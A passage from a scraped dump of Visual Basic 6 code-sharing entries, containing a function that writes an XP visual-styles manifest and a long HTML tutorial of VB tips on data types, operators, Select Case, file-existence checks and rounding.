Rnd(-Seed)\nEnd Function"},{"WorldId":1,"id":51893,"LineNumber":1,"line":"Public Function CreateManifest() As Boolean\n On Error Resume Next\n Dim EXEPath As String\n \n 'Get The EXE Path\n EXEPath = App.Path & IIf(Right(App.Path, 1) = \"\\\", vbNullString, \"\\\")\n EXEPath = EXEPath & App.EXEName & IIf(LCase(Right(App.EXEName, 4)) = \".exe\", \".manifest\", \".exe.manifest\")\n \n 'Checks if the manifest has already been created\n If Dir(EXEPath, vbReadOnly Or vbSystem Or vbHidden) <> vbNullString Then GoTo ErrorHandler\n \n 'Makes sure you are using windows xp\n If WinVersion = \"Windows XP\" Then\n Dim iFileNumber As Integer\n iFileNumber = FreeFile\n \n 'Save the .manifest file\n Open EXEPath For Output As #iFileNumber\n \n Print #iFileNumber, FormatManifest\n CreateManifest = True\n Else\n Kill EXEPath\n End If\n \n 'set the file to be hidden\n Close #iFileNumber\n SetAttr EXEPath, vbHidden Or vbSystem Or vbReadOnly Or vbArchive\n \nErrorHandler:\n Call InitCommonControls\nEnd Function\n'get windows version (from Microsoft.com)\nPrivate Function WinVersion() As String\n Dim osinfo As OSVERSIONINFO\n Dim retvalue As Integer\n osinfo.dwOSVersionInfoSize = 148\n osinfo.szCSDVersion = Space$(128)\n retvalue = GetVersionExA(osinfo)\n With osinfo\n Select Case .dwPlatformId\n Case 1\n If .dwMinorVersion = 0 Then\n WinVersion = \"Windows 95\"\n ElseIf .dwMinorVersion = 10 Then\n WinVersion = \"Windows 98\"\n End If\n Case 2\n If .dwMajorVersion = 3 Then\n WinVersion = \"Windows NT 3.51\"\n ElseIf .dwMajorVersion = 4 Then\n WinVersion = \"Windows NT 4.0\"\n ElseIf .dwMajorVersion >= 5 Then\n WinVersion = \"Windows XP\"\n End If\n Case Else\n WinVersion = \"Failed\"\n End Select\nEnd With\nEnd Function\n'Create the string for the manifest file\nPrivate Function FormatManifest() As String\n Dim Header As String\n Header = \"<?xml version=\" & Chr(34) & \"1.0\" & Chr(34) & \" encoding=\" & Chr(34) & \"UTF-8\" & Chr(34) & \" standalone=\" & Chr(34) & \"yes\" & Chr(34) & \"?>\"\n Header = Header & vbCrLf & \"<assembly xmlns=\" & Chr(34) & \"urn:schemas-microsoft-com:asm.v1\" & Chr(34) & \" manifestVersion=\" & Chr(34) & \"1.0\" & Chr(34) & \">\"\n Header = Header & vbCrLf & \"<assemblyIdentity\"\n Header = Header & vbCrLf & \" version=\" & Chr(34) & \"1.0.0.0\" & Chr(34)\n Header = Header & vbCrLf & \" processorArchitecture=\" & Chr(34) & \"X86\" & Chr(34)\n Header = Header & vbCrLf & \" name=\" & Chr(34) & \"Microsoft.VisualBasic6.IDE\" & Chr(34)\n Header = Header & vbCrLf & \" type=\" & Chr(34) & \"win32\" & Chr(34)\n Header = Header & vbCrLf & \"/>\"\n Header = Header & vbCrLf & \"<description>Microsoft Visual Basic 6 IDE</description>\"\n Header = Header & vbCrLf & \"<dependency>\"\n Header = Header & vbCrLf & \" <dependentAssembly>\"\n Header = Header & vbCrLf & \" <assemblyIdentity\"\n Header = Header & vbCrLf & \" type=\" & Chr(34) & \"win32\" & Chr(34)\n Header = Header & vbCrLf & \" name=\" & Chr(34) & \"Microsoft.Windows.Common-Controls\" & Chr(34)\n Header = Header & vbCrLf & \" version=\" & Chr(34) & \"6.0.0.0\" & Chr(34)\n Header = Header & vbCrLf & \" processorArchitecture=\" & Chr(34) & \"X86\" & Chr(34)\n Header = Header & vbCrLf & \" publicKeyToken=\" & Chr(34) & \"6595b64144ccf1df\" & Chr(34)\n Header = Header & vbCrLf & \" language=\" & Chr(34) & \"*\" & Chr(34)\n Header = Header & vbCrLf & \" />\"\n Header = Header & vbCrLf & \" </dependentAssembly>\"\n Header = Header & vbCrLf & \"</dependency>\"\n Header = Header & vbCrLf & \"</assembly>\"\n FormatManifest = Header\nEnd Function\n"},{"WorldId":1,"id":51894,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51916,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51918,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51971,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":51985,"LineNumber":1,"line":" \n<h3 align=\"center\">A Brief History of Basic</h3>\n<ul>\n\t<li> BASIC - Beginner's All-purpose Symbolic Instruction Code. </li>\n\t<li> This language was developed in the early 1960's at Dartmouth College. </li>\n\t<li> Answer to complicated programming languages (FORTRAN, Algol, Cobol...). First timeshare language. </li>\n\t<li> In the mid-1970's, two college students write first Basic for a microcomputer (Altair) - cost $350 on cassette tape. You may have heard of them: Bill Gates and Paul Allen. </li>\n\t<li> Every Basic since then is essentially based on that early version. Examples include: GW-Basic, QBasic, QuickBasic. </li>\n\t<li> Visual Basic was introduced in 1991. </li>\n</ul>\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nTips\nIn VB's Tools > Options > Editor Format tab > Code Colors \nSelect Identifier Text > then Foreground > Dark Red! \n<hr width=\"95%\" size=\"2\" align=\"center\" />\nI recommend that you uncheck:\nTools > Options > Editor tab > Auto Syntax Check\nSyntax checking is still enabled but instead of freezing the editor until you dismiss the msgbox and correct the error, the offending code is simply displayed in red, allowing you to continue coding unhindered, and can return to the 'red devil' when finnished what you're doing. Rd. \n<hr width=\"95%\" size=\"2\" align=\"center\" />\nI often see this:\n<pre>Dim var1, var2, var3 As String</pre>\nThis initializes 2 variants and 1 string, it's the same as this:\n<pre>Dim var1 As Variant, var2 As Variant, var3 As String</pre>\nI assume the coder desires:\n<pre>Dim var1 As String, var2 As String, var3 As String</pre>\nUse VarType or TypeName to see for yourself. \nAdded this bit thanks to Timothy Marin. Some say not to use these (and james kahl has a point) but it's up to you:\n<pre>\nDim fff$ ' Declares a String variable\nDim hhh% ' Declares a Integer variable\nDim ggg& ' Declares a Long variable\nDim iii! ' Declares a Single variable\nDim jjj# ' Declares a Double variable\nDim kkk@ ' Declares a Currency variable</pre>\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nI often see this:\n<pre>\nIf Dir$(sFileName) <> \"\" Then\n ' I believe I have a file,\n ' do some work on it\nEnd If</pre>\nThis code will fail if sFileName = \"\" because Dir will return the name of the first file found (with any name) You can do this instead:\n<pre>\nIf sFileName <> \"\" Then\n If Dir$(sFileName) <> \"\" Then\n ' We have a file, do some work on it\n End If \nEnd If</pre>\nOr as Luke H so rightly pointed out, you should do this:\n<pre>\nIf LenB(sFileName) <> 0 Then\n If LenB(Dir$(sFileName)) <> 0 Then\n ' We have a file, do some work on it\n End If \nEnd If</pre>\nThis lot's from Bruce McKinney's book 'Hardcore VB'\nThat statement works until you specify a file on an empty floppy or CD-ROM drive. Then youΓÇÖre stuck in a message box. HereΓÇÖs another common one:\n<pre>\nfExist = FileLen(sFullPath)</pre>\nIt fails on 0-length files ΓÇö uncommon but certainly not unheard of. My theory is that the only reliable way to check for file existence in VB (without benefit of API calls) is to use error trapping. IΓÇÖve challenged many Visual Basic programmers to give me an alternative, but so far no joy. HereΓÇÖs the shortest way I know:\n<pre>\nFunction FileExists(sSpec As String) As Integer\n On Error Resume Next\n Call FileLen(sSpec)\n FileExists = (Err = 0)\nEnd Function</pre>\nThis canΓÇÖt be very efficient. Error trapping is designed to be fast for the no fail case, but this function is as likely to hit errors as not. Perhaps youΓÇÖll be the one to send me a Basic-only ExistFile function with no error trapping that I canΓÇÖt break. Until then, hereΓÇÖs an API alternative:\n<pre>\nFunction ExistFileDir(sSpec As String) As Boolean\n Dim af As Long\n af = GetFileAttributes(sSpec)\n ExistFileDir = (af <> -1)\nEnd Function</pre>\nI didnΓÇÖt think there would be any way to break this one, but it turns out that certain filenames containing control characters are legal on Windows 95 but illegal on Windows NT. Or is it the other way around? Anyway, I have seen this function fail in situations too obscure to describe here. Bruce McKinney.\n<hr width=\"75%\" size=\"1\" align=\"center\" />\nHere's my solution:\n<pre>\nFunction FileExists(sFileSpec As String) As Boolean\n If (sFileSpec = vbNullString) Then Err.Raise 5\n On Error GoTo NoGo\n Dim Attribs As Long\n Attribs = FileSystem.GetAttr(sFileSpec)\n If (Attribs <> -1) Then\n FileExists = ((Attribs And vbDirectory) <> vbDirectory)\n End If\nNoGo:\nEnd Function</pre>\n<pre>\nFunction DirExists(sPath As String) As Boolean\n If (sPath = vbNullString) Then Err.Raise 5\n On Error GoTo NoGo\n Dim Attribs As Long\n Attribs = FileSystem.GetAttr(sPath)\n If (Attribs <> -1) Then\n DirExists = ((Attribs And vbDirectory) = vbDirectory)\n End If\nNoGo:\nEnd Function</pre>\n<hr width=\"95%\" size=\"2\" align=\"center\" />\n<h3 align=\"center\">Data types in VB</h3>\nNumeric Data : Integers (whole numbers without decimal\nplaces) and Real (decimals, or floating-point numbers).\n<table border=\"1\" cellspacing=\"0\" cellpadding=\"4\">\n\t<tr>\n\t\t<th>\n\t\t\t\tSuf\n\t\t</th>\n\t\t<th>\n\t\t\t\tType\n\t\t</th>\n\t\t<th>\n\t\t\t\tStorage\n\t\t</th>\n\t\t<th>\n\t\t\t\tRange\n\t\t</th>\n\t</tr>\n\t<tr>\n\t\t<td > \n\t\t</td>\n\t\t<td >\n\t\t\tByte\n\t\t</td>\n\t\t<td >\n\t\t\t1 byte\n\t\t</td>\n\t\t<td >\n\t\t\t 0 to 255\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<td >\n\t\t\t\n\t\t\t\t%\n\t\t\t\n\t\t</td>\n\t\t<td >\n\t\t\tInteger\n\t\t</td>\n\t\t<td >\n\t\t\t2 bytes\n\t\t</td>\n\t\t<td >\n\t\t\t-32,768 to 32,767\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<td >\n\t\t\t\n\t\t\t\t&\n\t\t\t\n\t\t</td>\n\t\t<td >\n\t\t\tLong\n\t\t</td>\n\t\t<td >\n\t\t\t4 bytes\n\t\t</td>\n\t\t<td >\n\t\t\t-2,147,483,648 to 2,147,483,647\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<td >\n\t\t\t\n\t\t\t\t!\n\t\t\t\n\t\t</td>\n\t\t<td >\n\t\t\tSingle\n\t\t</td>\n\t\t<td >\n\t\t\t4 bytes\n\t\t</td>\n\t\t<td >\n\t\t\t-3.42823E+38 to -1.401298E-45 (neg) and \n 1.401298E-45 to 3.42823E+38 (pos)\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<td >\n\t\t\t\n\t\t\t\t#\n\t\t\t\n\t\t</td>\n\t\t<td >\n\t\t\tDouble\n\t\t</td>\n\t\t<td >\n\t\t\t8 bytes\n\t\t</td>\n\t\t<td >\n\t\t\t-1.79769313486232E+308 to \n -4.94065645841247E-324 (negative) and \n 4.94065645841247E-324 to \n 1.79769313486232E+308 (positive)\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<td >\n\t\t\t\n\t\t\t\t@\n\t\t\t\n\t\t</td>\n\t\t<td >\n\t\t\tCurrency\n\t\t</td>\n\t\t<td >\n\t\t\t8 bytes\n\t\t</td>\n\t\t<td >\n\t\t\t-922,337,203,685,477.5808 to \n 922,337,203,685,477.5807 (the extra \n precision ensures accuracy to 2 dec places)\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<td > \n\t\t</td>\n\t\t<td >\n\t\t\tDecimal\n\t\t</td>\n\t\t<td >\n\t\t\t12 bytes\n\t\t</td>\n\t\t<td >\n +/-79,228,162,514,264,337,593,543,950,335 \n (with no decimal, or up to 28 decimal places) \n +/-7.9228162514264337593543950335\n\t\t</td>\n\t</tr>\n</table>\n<h3>Shift State</h3>\n<table border=\"0\" cellspacing=\"2\" cellpadding=\"4\">\n\t<tr>\n\t\t<th align=\"left\">\n\t\t\tConstant\n\t\t</th>\n\t\t<th align=\"center\">\n\t\t\tValue\n\t\t</th>\n\t\t<th align=\"left\">\n\t\t\tDescription\n\t\t</th>\n\t</tr>\n\t<tr>\n\t\t<td align=\"left\">\n\t\t\tvbShiftMask\n\t\t</td>\n\t\t<td align=\"center\">\n\t\t\t1\n\t\t</td>\n\t\t<td align=\"left\">\n\t\t\tSHIFT key bit mask.\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<td align=\"left\">\n\t\t\tvbCtrlMask\n\t\t</td>\n\t\t<td align=\"center\">\n\t\t\t2\n\t\t</td>\n\t\t<td align=\"left\">\n\t\t\tCTRL key bit mask.\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<td align=\"left\">\n\t\t\tvbAltMask\n\t\t</td>\n\t\t<td align=\"center\">\n\t\t\t4\n\t\t</td>\n\t\t<td align=\"left\">\n\t\t\tALT key bit mask.\n\t\t</td>\n\t</tr>\n</table>\nPresently, only three of the 32 bits in the Shift parameter \nare used. In future versions of Visual Basic, however, these \nother bits may be used. Therefore, as a precaution against \nfuture problems, you should mask these values appropriately \nbefore performing any comparisons. Use a bitwise And to mask \nthe Shift parameter:\n<pre>\nDim ShiftState As Integer\nShiftState = Shift And vbShiftMask</pre>\nIn the above example ShiftState will hold zero if the Shift \nkey was not pressed, or one if pressed (in any combination \nwith the Ctrl and Alt keys). Likewise, you can mask the Shift \nparameter against vbCtrlMask to return zero or two, and \nvbAltMask to return zero or four.\n<pre>\nDim ShiftDown As Boolean\nDim CtrlDown As Boolean\nDim AltDown As Boolean</pre>\n<pre>\nShiftDown = (Shift And vbShiftMask) = vbShiftMask\nCtrlDown = (Shift And vbCtrlMask) = vbCtrlMask\nAltDown = (Shift And vbAltMask) = vbAltMask</pre>\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nTrue-conditions perform faster. So, if you can make assumptions about\nyour conditions, set up the code so that the test returns True.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nBefore continuing, SAVE your project to disk for safety!\n<hr width=\"95%\" size=\"2\" align=\"center\" />\n<h3 align=\"center\">Max Path Length</h3>\n<pre>Const MAX_PATH As Long = 260</pre>\nThe maximum length, in characters, of a file path supported by the\nspecified file system. A filename component is actually that portion\nof a file path between backslashes.\nUnder NT (Intel) and Win95 it can be up to 259 (MAX_PATH - 1) characters\nlong. This length must include the drive, path, filename, commandline\narguments and quotes (if the string is quoted).\nNotice that the MAX_PATH constant is assigned 260 on Windows 9x systems.\nThis is because it combines the root (\"x:\\\"), the Maximum Component Length\nvalue (255), plus a possible trailing backslash (\"\\\") character.\n<pre>Len(sPath) <= 3 + 255 + 1 or Len(sPath) < MAX_PATH</pre>\nThe complete path must be less than MAX_PATH characters.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\n<h3 align=\"center\">Logical Operators</h3>\nThe logical operators enable you to combine two or more sets of\nconditional comparisons.\n<table border=\"0\" cellspacing=\"2\" cellpadding=\"4\">\n\t<tr>\n\t\t<th>\n\t\t\tAnd\n\t\t</th>\n\t\t<td>\n\t\t\tBoth sides must be True (to return True)\n\t\t</td>\n\t<tr>\n\t</tr>\n\t\t<th>\n\t\t\tOr\n\t\t</th>\n\t\t<td>\n\t\t\tOnly one side need be True, or both\n\t\t</td>\n\t</tr>\n\t<tr>\n\t\t<th>\n\t\t\tXor\n\t\t</th>\n\t\t<td>\n\t\t\tOnly one side must be True, not both\n\t\t</td>\n\t<tr>\n\t</tr>\n\t\t<th>\n\t\t\tNot\n\t\t</th>\n\t\t<td>\n\t\t\tReverses (inverts) boolean condition\n\t\t</td>\n\t</tr>\n</table>\nThe And logical operator requires both sides to be True to\nreturn True.\n<pre>\n If (x >= 1) And (x <= 10) Then ...</pre>\nThe Or logical operator needs only one side to be True to\nreturn True. This operator is really an Inclusive Or.\n<pre>\n If (y = 0) Or (z <> 10) Then ...</pre>\nThe Xor logical operator requires that only one side CAN be\nTrue to return True. Therefore, its is an Exclusive Or.\n<pre>\n If (count1 = limit) Xor (count2 = limit) Then\n CountSyncErrorOccured\n End If</pre>\nThe Not logical operator inverts the boolean value.\nThe following two code examples both reverse the value:\n<pre>\n result = Not (expression)\n result = (expression) Xor True</pre>\nBe careful with the Xor and Not operators, as they only work\n(as you might expect) with boolean True and False values. So\nexpression must evaluate to a boolean True or False value.\nNote - True equates to -1, and False equates to 0.\nBecause zero equates to False, and all other numbers equate\nto True when tested within a conditional (an If statement for\nexample) you can generally do this:\n<pre>\n If iNum Then\n 'Do something\n End If</pre>\nIf iNum is not zero it will equate to True, including\nnegative values:\n<pre>\n 3 = True\n 2 = True\n 1 = True\n 0 = False\n -1 = True\n -2 = True\n -3 = True</pre>\nBut if you wanted to reverse the condition as follows,\nit may not work as you expect:\n<pre>\n If Not iNum Then\n 'Do something\n End If</pre>\nOnly if iNum is -1 will the conditional equate to False.\nAny other value including zero will equate to True:\n<pre>\n Not 3 = -4 ' True\n Not 2 = -3 ' True\n Not 1 = -2 ' True\n Not 0 = -1 ' True (Not False)\n Not -1 = 0 ' False (Not True)\n Not -2 = 1 ' True\n Not -3 = 2 ' True</pre>\nSo do the following when using Not with numeric values:\n<pre>\n If Not CBool(iNum) Then\n 'Do something\n End If</pre>\n<pre>\n Not CBool(3) = False ' Not True\n Not CBool(2) = False ' Not True\n Not CBool(1) = False ' Not True\n Not CBool(0) = True ' Not False\n Not CBool(-1) = False ' Not True\n Not CBool(-2) = False ' Not True\n Not CBool(-3) = False ' Not True</pre>\nNote that Xor works the same.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\n<h3 align=\"center\">Conditional Operators</h3>\nVB supports six conditional operators:\n<pre>\n = Equal to\n > Greater than\n < Less than\n >= Greater than or equal to\n <= Less than or equal to\n <> Not equal to</pre>\nVB also supports a special kind of conditional operator:\n<pre>\n Like Performs comparisons using wildcards</pre>\nHere are the widcards that can be used with Like:\n<pre>\n * Any character or characters\n ? Any alpha character (letters)\n # Any numeric character (numbers)\n [] Encloses possible characters\n - Specifies a range</pre>\ne.g:\n<pre>\n \"This string\" Like \"This*\" returns True\n \"This string\" Like \"This ???ing\" returns True\n \"Numeric 123\" Like \"Numeric ###\" returns True\n \"Version 2 b\" Like \"Version [123] *\" returns True\n \"\" Like \"[]\" returns True\n \"E\" Like \"[C-H]\" returns True</pre>\nUse the [] to test for a possible character within a group.\nBy using a hyphen (ΓÇô) to separate the upper and lower bounds\nof the range, charlist can specify a range of characters. The\nmeaning of a specified range depends on the character ordering\nvalid at run time (as determined by Option Compare and the\nlocale setting of the system the code is running on). Using\nthe Option Compare Binary, the range [AΓÇôE] matches A, B, C, D, E.\nWith Option Compare Text, [AΓÇôE] matches A, a, ├Ç, ├á, B, b,... E, e.\nThe range does not match ├è or ├¬ because accented characters\nfall after unaccented characters in the sort order.\n<h3 align=\"center\">Mathematical Operators</h3>\nThe mathematical operators perform calculations on numerical\nvalues:\n<pre>\n () Parenthesis\n ^ Exponentiation (Power Of)\n * Multiplication\n / Division\n \\ Integer Division\n Mod Modulus\n + Addition\n - Subtraction</pre>\n<h3 align=\"center\">Operator Precedence</h3>\nPrecedence is the order of importance given to operators in VB.\nIn other words, precedence determines which part of an expression\nwill be executed first.\nThe following is the order of precedence from highest to lowest:\n<pre>\n () Parenthesis\n ^ Exponentiation (Power Of)\n * / \\ Mod Multiplication, Division, Int Division and Modulus\n + - Addition and Subtraction\n Like Performs comparisons using wildcards\n Not Reverses (negates) boolean condition\n And Both sides must be true\n Or Only one side need be true, or both\n Xor One side must be true, but not both</pre>\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nBefore continuing, SAVE your project to disk for safety!\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nByte arrays are the only way to store binary data in a stable\nformat that won't be modified by Unicode conversion.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nTo Add a text file or other non-standard file into a VB project\nedit the .vbp file and insert a line similar to this:\n<pre>RelatedDoc=readme.txt</pre>\nThe file will be displayed in the Resources section of the\nproject explorer.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nA loop used to remove selected items from a list without error:\n<pre>\nFor i = lstData.ListCount - 1 To 0 Step -1\n If lstData.Selected(i) Then lstData.RemoveItem i\nNext</pre>\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nOption buttons use the property .Value = True|False while\nCheckboxes use the property .Value = 0|1|2 to specify checked.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nYou can put more than one statement on a line by separating them\nwith a colon :\n<pre>Dim myInt%: myInt = 0</pre>\nThanks Timothy Marin for this tip.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nBefore continuing, SAVE your project to disk for safety!\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nIf you want to place controls in a frame but already have the controls\non the form, just select all controls (with selection tool or hold down\nthe CTRL key as you click each control), and CUT, then place the\nframe on the form, then with the frame selected, PASTE.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\n<h3 align=\"center\">KeyPress and KeyDown Events</h3>\nThe KeyPress event occurs when the user presses the Uppercase and\nLowercase letters, Numeric digits, Punctuation keys, and the Enter,\nTab, and Backspace keys.\nSome VB Constants are: vbKeyReturn, vbKeyTab and vbKeyBack.\nKeyPress events capture just the main ASCII characters (letters,\nnumbers and punctuation) plus Backspace, Enter and Tab.\nKeyPress handles the shift state itself, passing the event procedure\nthe correct code. The event object recieves the keycode (as was or\nmodified) AFTER the procedure ends.\nThis makes KeyPress the event handler to use when you wish to process\nand/or modify the characters before they are displayed in the form's\nevent object.\nKeyDown events capture ALL keyboard keys, but only recognize letters\nin all caps, so you must test for shift state as well for lowercase.\nKeyUp (like KeyDown) receives only uppercase keycodes.\nKeyDown does not wait to pass the key code on to the form object,\nwhile KeyPress passes the key code on to the event object after\nthe procedure ends.\nWith KeyDown the event object handles the shift state itself, so\nthe event object receives upper or lowercase according to the shift\nand caps lock key states - then the KeyDown event procedure runs.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nYou might think that you could save space by declaring a\nvariable As Byte or As Integer instead of As Long. However, on\n32-bit operating systems the code to load a Long is faster and\nmore compact than the code to load shorter data types.\nNot only could the extra code exceed the space saved, but there\nmight not be any space saved to begin with ΓÇö because of alignment\nrequirements (32-bit) for modules and data.\n<hr width=\"95%\" size=\"2\" align=\"center\" />\n<h3 align=\"center\">Subs and Funcs</h3>\nA subroutine does not return a value.\n<pre>\nPrivate Sub cmdSubCalculate_Click()\n Call multiply1(2, 3)\nEnd Sub</pre>\n<pre>\nPrivate Sub multiply1(ByVal x As Integer, ByVal y As Integer)\n Dim z As Integer\n \n z = x * y\n txtResult.Text = z\nEnd Sub</pre>\nA function returns a value by assigning the resulting \nvalue of its processing to a 'variable' (the name of the \nfunction) which is returned to the calling subroutine or \nfunction.\n<pre>\nPrivate Sub cmdFuncCalculate_Click()\n txtResult.Text = Multiply2(2, 3)\nEnd Sub</pre>\n<pre>\nPrivate Function Multiply2(ByVal x As Integer, ByVal y As Integer) As Integer\n Dim z As Integer\n \n z = x * y\n Multiply2 = z\nEnd Function</pre>\nBoth subs and functions can have arguments passed by \nreference, allowing the source variable to be modified \nby the procedure.\n<pre>\nPrivate Sub cmdByRefCalculate_Click()\n Dim z As Integer\n If (Multiply3(2, 3, z) Then\n txtResult.Text = z\n End If\nEnd Sub</pre>\n<pre>\nPrivate Function Multiply3(ByVal x As Integer, ByVal y As Integer, ByRef z As Integer) As Boolean\n z = x * y\n Multiply3 = True\nEnd Function</pre>\n<hr width=\"95%\" size=\"2\" align=\"center\" />\nYou can add quit confirmation to a windows standard exit methods:\n<pre>\nPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)\n ' A forms QueryUnload event occurs immediately before the\n ' form unloads.\n ' UnloadMode is zero when a window is closed by using any\n ' of the standard exit methods (by clicking the [x] close button,\n ' by selecting close from the windows context menu, by pressing\n ' ALT-F4, or by double-clicking the window icon in the top-left\n ' corner).\n ' Cancel (passed by reference to the event) is zero (False), and\n ' so the form will unload; False means 'not to Cancel the unload'.\n ' You can cancel the unloading of the form by setting Cancel to\n ' one (True); so saying 'yes to Cancel the unload'.\n If UnloadMode = 0 Then\n Dim dialogtype As Integer\n Dim title, msg As String\n Dim response As Integer\n dialogtype = vbYesNo + vbQuestion\n title = \"Name of program\"\n msg = \"Are you sure?\"\n response = MsgBox(msg, dialogtype, title)\n If response = vbNo Then\n Cancel = True\n End If\n End If\nEnd Sub</pre>\n<hr width=\"75%\" size=\"1\" align=\"center\" />\nThe UnloadMode variable in the Query_Unload event indicates how\nthis event was triggered by containing one of the five values in\nthe following table.\n<pre>QueryUnloadConstants:\n vbFormControlMenu = 0\n The user chose the Close command on the Control-menu box.\n vbFormCode = 1\n The application used the Query_Unload method itself.\n vbAppWindows = 2\n The operating system is being shut down, or the user is\n logging off.\n vbAppTaskManager = 3\n The application is being shut down by the Task Manager.\n vbFormMDIForm = 4\n An MDI form, which closes all child forms belonging to it,\n is being closed.\n vbFormOwner = 5\n The owner of the form is closing.</pre>\n<hr width=\"95%\" size=\"2\" align=\"center\" />\n<h3 align=\"center\">Select Case Statement</h3>\nExecutes one of several groups of statements, depending\non the value of an expression.\n<pre>\nSelect Case Index\n Case 0\n Grade = \"first\"\n Case 1\n Grade = \"second\"\n Case 2\n Grade = \"third\"\n Case 3\n Grade = \"fourth\"\n Case 4\n Grade = \"fifth\"\n Case 5\n Grade = \"sixth\"\nEnd Select</pre>\nThe same Case Statement using colons:\n<pre>\nSelect Case Index\n Case 0 : Grade = \"first\"\n Case 1 : Grade = \"second\"\n Case 2 : Grade = \"third\"\n Case 3 : Grade = \"fourth\"\n Case 4 : Grade = \"fifth\"\n Case 5 : Grade = \"sixth\"\nEnd Select</pre>\nVB also offers a way of testing for a condition\nwith the Is keyword added to Case:\n<pre>\nSelect Case testscore\n Case Is >= 80\n student_grade = \"A\"\n Case Is >= 65\n student_grade = \"B\"\n Case Is >= 50\n student_grade = \"C\"\n Case Else\n student_grade = \"F\"\nEnd Select</pre>\nSo the following two examples are the same:\n<pre>\nSelect Case Format(today, \"mmmm\")\n Case \"January\": optjan.Value = True\n Case \"February\": optfeb.Value = True\n Case \"March\": optmar.Value = True\n Case \"April\": optapr.Value = True\n Case \"May\": optmay.Value = True\n Case \"June\": optjun.Value = True\n Case \"July\": optjul.Value = True\n Case \"August\": optaug.Value = True\n Case \"September\": optsep.Value = True\n Case \"October\": optoct.Value = True\n Case \"November\": optnov.Value = True\n Case \"December\": optdec.Value = True\nEnd Select</pre>\n<pre>\nSelect Case Format(today, \"mmmm\")\n Case Is = \"January\": optjan.Value = True\n Case Is = \"February\": optfeb.Value = True\n Case Is = \"March\": optmar.Value = True\n Case Is = \"April\": optapr.Value = True\n Case Is = \"May\": optmay.Value = True\n Case Is = \"June\": optjun.Value = True\n Case Is = \"July\": optjul.Value = True\n Case Is = \"August\": optaug.Value = True\n Case Is = \"September\": optsep.Value = True\n Case Is = \"October\": optoct.Value = True\n Case Is = \"November\": optnov.Value = True\n Case Is = \"December\": optdec.Value = True\nEnd Select</pre>\nThe usage for the Case Is format allows the testing of conditions\nthat don't have to be an exact match (=), but can also be other\nconditions (>, <, >=, <=, etc). Only the use of simple comparisons\nare allowed, so no logical operators (And, Or, Xor, or Not) can\nbe used.\n<pre>\nSelect Case varInteger\n Case Is <= 150: MsgBox \"Is 150 or less\"\n Case Is <= 200: MsgBox \"Is between 151 and 200 inclusive\"\n Case Else: MsgBox \"Is 201 or greater\"\nEnd Select</pre>\nIt is important to realize that with such conditional tests the order\nof each Case Is matters. Consider if the above Case statement was\nlike this:\n<pre>\nSelect Case varInteger\n Case Is <= 200: MsgBox \"Is 200 or less\"\n Case Is <= 150: MsgBox \"Is 150 or less\"\n Case Else: MsgBox \"Is 201 or greater\"\nEnd Select</pre>\nEven if the integer value was below 150 the condition would still\nexecute only the code corresponding to the first Case tested.\nIn addition to the formats used above, Select Case statements can\nalso include the To keyword, as follows:\n<pre>\nSelect Case Asc(Char)\n Case 65 To 90: MsgBox \"Uppercase 'A' to 'Z' inclusive\"\n Case 97 To 122: MsgBox \"Lowercase 'a' to 'z' inclusive\"\nEnd Select</pre>\nYou can combine the different formats into a single Case statement:\n<pre>\nSelect Case varInteger\n Case 100 To 130, 140\n MsgBox \"Is between 100 and 130 inclusive, or is 140\"\n Case 150 To 180, 190, Is >= 200\n MsgBox \"Is between 150 and 180 inclusive, or is 190, or is 200 or greater\"\n Case Else\n MsgBox \"All else (below 100, 131 to 139, etc)\"\nEnd Select</pre>\nYou also can specify ranges and multiple expressions for\ncharacter strings.\nIn the following example, Case matches strings that are exactly\nequal to everything, strings that fall between nuts and soup in\nalphabetic order, and the current value of TestItem:\n<pre>\n Case \"everything\", \"nuts\" To \"soup\", TestItem</pre>\n<hr width=\"95%\" size=\"2\" align=\"center\" />\n<h3 align=\"center\">Gaussian Rounding</h3>\nA remark by Ren├⌐ Rh├⌐aume, 21.09.01\nThis \"Banker's\" method uses the Gauss rule that if you are\nin an perfect half case, you must round to the nereast digit\nthat can be divided by 2 (0,2,4,6,8). This rule is important\nto obtain more accurate results with rounded numbers after\noperation.\nNow, an example :\n<pre>\n 2 digits 2 digits\nUnrounded \"Standard\" rounding \"Gaussian\" rounding\n 54.1754 54.18 54.18\n 343.2050 343.21 343.20\n+106.2038 +106.20 +106.20 \n========= ======= =======\n 503.5842 503.59 